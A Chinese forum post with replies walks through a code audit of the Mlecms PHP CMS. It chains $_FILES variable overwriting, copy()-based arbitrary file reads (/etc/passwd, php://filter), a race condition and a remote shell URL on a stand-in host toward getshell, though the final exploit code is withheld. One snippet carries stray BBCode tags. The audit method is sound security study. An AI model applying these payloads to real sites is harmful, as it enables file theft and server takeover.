用户
搜索
  • TA的每日心情
    奋斗
    2016-10-21 10:41
  • 签到天数: 2 天

    连续签到: 2 天

    [LV.1]初来乍到

    i春秋-见习白帽

    Rank: 3Rank: 3

    6

    主题

    45

    帖子

    160

    魔法币
    收听
    0
    粉丝
    10
    注册时间
    2016-10-5
    发表于 2016-10-17 18:35:37 2628662
    本帖最后由 索马里的海贼 于 2016-10-19 12:13 编辑

    1.文章难易度 【★★★★】
    2.文章知识点: 变量覆盖;流程控制;
    3.文章作者:     索马里的海贼
    4.本文参与i春秋社区原创文章奖励计划,未经许可禁止转载!

    前言
    看了版主 jing0102 的{代码审计思路} (通读+审计) Mlecms(中危漏洞/不简单)
    感觉挺有意思 于是也回去下了一套代码看看
    不得不说小众CMS的开发能力、安全意识跟大厂商还是有不少差距的 限于篇幅 不是关键部分就不贴代码了


    一、发现隐患
    拿到一套源码 首先得找到下手的地方,不管是不是新手 我都建议从index.php开始。
    index.php做为固定主页面,里面肯定包含了整套系统的配置读取,初始化等内容,跟随这些包含的内容或者文件 就能大致了解整套系统的处理框架 流程等信息 这些信息在审计中都是非常重要的。经常有刚入门的审计同学不知道怎么才能加载某个文件,或者明明发现某个地方存在问题,却不知道如何访问去触发,这都是对流程不熟悉的结果。
    感觉说的废话都能出一本书了,接下来直接来看看今天的主角mlecms
    index.php中包含了一个inc/include/目录下的header.php
    而header.php又包含了common.inc.php
    common.inc.php又包含了globals.php
    这3个文件都是用来初始化站点的数据,在看到globals.php的时候 发现有这么一段
    [PHP] 纯文本查看 复制代码
    foreach(array('_GET','_POST','_COOKIE') as $_request){
            foreach($$_request as $i => &$n){
                    ${$i} = daddslashes($n);
            }
    }

    接触过代码审计的人应该很熟悉,这是一段伪全局的代码。很多流行cms都会用,也出过不少问题,dz dedecms都在伪全局上吃过苦头。
    这里并没有对变量名进行判断就直接用双$初始化了变量,还记得DEDECMS的覆盖$GBLOBAS超全局变量导致的getshell么
    好在这套系统并没有用$GBLOABS来做什么文章,而且变量的值都经过了daddslashes做了转义。那如果是$_FILES呢~

    二、从隐患开始
    正常的流程中$_FILES变量是当产生用户上传动作时一个系统初始化的数组
    [PHP] 纯文本查看 复制代码
    $_FILES['userfile']['name'] //客户端机器文件的原名称。
    $_FILES['userfile']['type'] //文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
    $_FILES['userfile']['size'] //已上传文件的大小,单位为字节。
    $_FILES['userfile']['tmp_name'] //文件被上传后在服务端储存的临时文件名。
    $_FILES['userfile']['error'] //和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。
    

    当正常上传的时候 数组中的tmp_name值是不可控的,但因为上面的提到隐患,$_FILES变量可以通过GPC提交来覆盖了。
    当然$_FILES可控在严谨的上传流程里也不一定能造成很大的危害  我们就来看看这套系统的上传流程
    搜索$_FILES 有4个文件使用了这个变量 去掉后台功能和ckeditor 找到了inc/class/avatar.class.php
    看名字应该是跟头像上传有关,来看看具体内容
    inc/class/avatar.class.php 行34
    [PHP] 纯文本查看 复制代码
            
    //这里的注释等下回来看
    public function onuploadavatar() {
                    @header("Expires: 0");
                    @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
                    @header("Pragma: no-cache");
                    $this->init_input($_GET['agent']);
                    $uid = $this->input['uid'];  //uid来自input数组 input数组来自init_input()函数
                    if(empty($uid)) {
                            return -1;
                    }
                    if(empty($_FILES['Filedata'])) {
                            return -3;
                    }
                    list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); //这里调用getimagesize函数来检查文件内容
                    $imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
                    $filetype = $imgtype[$type]; //限定了文件后缀来自$imgtype数组
                    $tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; //临时保存文件名 [固定]+uid+文件后缀 
                    file_exists($tmpavatar) && @unlink($tmpavatar); // 如果已经存在 先删除
                    if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) { 
                            @unlink($_FILES['Filedata']['tmp_name']); //如果移动成功 就删了原文件
                            list($width, $height, $type, $attr) = getimagesize($tmpavatar); //再次调用getimagesize函数检查移动后的文件
                            if($width < 10 || $height < 10 || $type == 4) { //如果长度宽度不符合要求 或者$type=4(我记得是swf文件好像)  就删掉目标文件
                                    @unlink($tmpavatar);
                                    return -2;
                            }
                    } else {
                            @unlink($_FILES['Filedata']['tmp_name']); //移动失败  也删掉原文件
                            return -4;
                    }
                    global $config;
                    $avatarurl = $config['url'].'inc/tmp/other/member_'.$uid.$filetype; 
                    return $avatarurl;
            }

    看到了这句
    [PHP] 纯文本查看 复制代码
    if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {

    move_upload_file函数会在移动文件之前检查文件是否为合法的上传临时文件,如果想搞事,伪造的tmp_name是不会通过函数检查的
    但copy就不一样了 不管你来源 不管你目的  直接给你怼过去。
    再看看上面这句 两个函数都尝试了
    所以如果我们伪造$_FILES['Filedata']['tmp_name']=/etc/passwd 就是一个妥妥的任意文件读取了
    更进一步 如果伪造
    $_FILES['Filedata']['tmp_name']=http://xxx.com/shell.txt 是不是就能getshell了呢
    来看看程序的流程(减少篇幅 回去看上面代码段的注释)
    可以看到 不管哪个流程 最终都会删掉原文件(也就是我们伪造的
    $_FILES['Filedata']['tmp_name'])你应该不想读了个数据库配置信息导致整个网站瘫痪吧。而且这里保存的文件后缀来自数组 并不能随意伪造来getshell。
    到这里  真的没办法了吗?

    三、真的没办法了吗?
    真的没办法了吗?当然不,代码审计就是要有死磕的精神,你拦我绕,你堵我怼。来看看怎么怼。
    先总结一下目前的状况 由于伪全局未过滤,导致$_FILES变量覆盖
    又由于使用了copy函数来进行文件移动  不会检查文件是否合法 可能导致任意文件读取和getshell的问题
    问题是 不管走哪个流程 都会unlink原文件 读取关键配置会导致关键配置文件被删  站点直接瘫痪
    一个一个来解决  
    关于文件读取 有没有办法 能让copy(src,dst)成功 而unlink(src)失败呢
    答案是有的 就是神奇的php://filter  这里限于篇幅 不再细说这个schema 百度一下有几位前辈早已写过有关的文章
    利用php://filter/resource=路径/文件名  就可以达到我们想要的效果 copy成功 unlink失败
    ,虽然copy成功之后
    第二个getimagesize检查后面的unlink没办法bypass 不过已经生成了 那我读不读就由不得你了。时间竞争大家应该不陌生,
    我赶在你生成和删除中间的一瞬间读到不就行了,时间竞争的关键一点就是,目标要明确,如果我不知道你文件名
    胡乱去猜的话 这个时间间隔肯定是不够的,但是文件名我们是已知的(
    [固定]+uid+文件后缀),所以多试几次 肯定能成功。
    好了 现在任意文件读取这个漏洞已经拿下了,那贪心一点 能getshell么?
    答案当然也是能。
    来看看保存的文件名格式
    [PHP] 纯文本查看 复制代码
    [/size][/size][/size][/size][/color][/size][/font][/size][/font][/color][color=#ff0000][font=宋体][size=14.0pt][font=微软雅黑][size=2][color=Black][size=4][size=3][size=4][size=3][color=#ff0000][font=宋体][size=14.0pt][font=微软雅黑][size=2][color=Black][size=4][size=3]list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); //这里调用getimagesize函数来检查文件内容
                    $imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
                    $filetype = $imgtype[$type]; //限定了文件后缀来自$imgtype数组
                    $tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; //临时保存文件名 [固定]+uid+文件后缀[/size][/size][/color][/size][/font][/size][/font][/color]

    为了getshell 这里需要让getimagesize()失败 这样$type就不会被初始化
    [PHP] 纯文本查看 复制代码
    $filetype=$imgtype[$type];

    文件后缀就变成null了
    接下来如果能控制$uid=xx.php的话 就能getshell了
    $uid来自

    [PHP] 纯文本查看 复制代码
    $this->init_input($_GET['agent']);
    $uid = $this->input['uid'];  //uid来自input数组 input数组来自init_input()函数

    看看init_input函数
    [PHP] 纯文本查看 复制代码
    public function init_input($getagent = '') {
                    $input = $_GET['input'];
                    if($input) {
                            $input = encryption($input,'DECODE',WEBKEY); 
                            parse_str($input,$this->input); 
                            $agent = $getagent ? $getagent : $this->input['agent'];
                            if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
                                    exit('Access denied for agent changed');
                            } elseif($this->time - $this->input['time'] > 3600) {
                                    exit('Authorization has expired');
                            }
                    }
                    if(empty($this->input)) {
                            exit('Invalid input');
                    }
            }

    从$_GET['input'];中解密并用parse_str赋值给了$this->input数组
    这里用的加解密函数encryption()其实就是dz的authcode函数,还是比较安全的。密钥WEBKEY来自inc/config/version.config.php
    如果我们能知道密钥WEBKEY 就能伪造uid=.php的input值来getshell
    怎么得到这个WEBKEY值呢,别忘了上面的任意文件读取哦~

    四、利用
    毕竟还是个0day 危害也比较大 这里就不公开具体的getshell代码了  主要是分享一个从拿到cms开始发现安全隐患 到如何利用安全隐患 再遇到困难 解决困难最终成功利用的过程。

    总结
    写文章比看代码累多了。。。
    代码审计 靠的其实就是对编程语言的理解。怎么去快速发现问题,怎么去绕坑,都需要不断的积累。
    最后祝大家0day多多


    评分

    参与人数 1价值分 +14 收起 理由
    zusheng + 14 价值分奖励

    查看全部评分

    本帖被以下淘专辑推荐:

    发表于 2016-10-19 16:25:30
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    基本项加分项
    作者帖子标题内容要求内容稀缺性文章篇幅文章深度文章可读性是否系列文章排版优化总分奖金点评
    索马里的海贼[送0day]代码审计就该这么来 Mlecms Getshell232330114150文章很详细

    Hacking the earth
    使用道具 举报 回复
    发表于 2017-2-10 19:01:14
    花费半个多小时,成功读完,感谢大牛,学到了很多
    你的今天就是昨天死去的人所奢望的明天
    使用道具 举报 回复
    发表于 2016-11-15 20:01:33
    Holle.everybody!I am AuThor!请大家多多关照!
    Holle,everybody! I am AuThor!请大家多多关注,同时也多多关照!(勿喷)
    使用道具 举报 回复
    学到了 师傅很强
    使用道具 举报 回复
    火钳刘明,收藏再看
    使用道具 举报 回复
    发表于 2016-10-17 19:14:23
    厉害了我的索马里
    使用道具 举报 回复
    发表于 2016-10-17 19:18:09
    地板
    使用道具 举报 回复
    发表于 2016-10-17 19:18:29
    发现很多都是php的,有木有java的具体的写写
    使用道具 举报 回复
    发表于 2016-10-17 19:18:56
    厉害了
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    发表于 2016-10-17 19:24:14
    厉害了,火钳留名
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    发表于 2016-10-17 19:25:44
    tianmu 发表于 2016-10-17 19:18
    发现很多都是php的,有木有java的具体的写写

    服务端代码php用的是最多的,所以代码审计大部分都是讲php的
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    发表于 2016-10-17 19:43:45
    @索马里的海贼 握草,大牛也来I春秋玩了啊。。。看大牛发过的的漏洞,小菜鸟膜拜已久,可否私下给个QQ啊
    hello world
    使用道具 举报 回复
    发表于 2016-10-17 19:54:53
    厉害
    我是坏蛋的小号
    使用道具 举报 回复
    发表于 2016-10-17 21:56:31
    变量覆盖
    使用道具 举报 回复
    发表于 2016-10-18 09:51:10
    学习了~!
    使用道具 举报 回复
    发表于 2016-10-18 15:39:28
    厉害
    使用道具 举报 回复
    发表于 2016-10-19 15:58:42
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册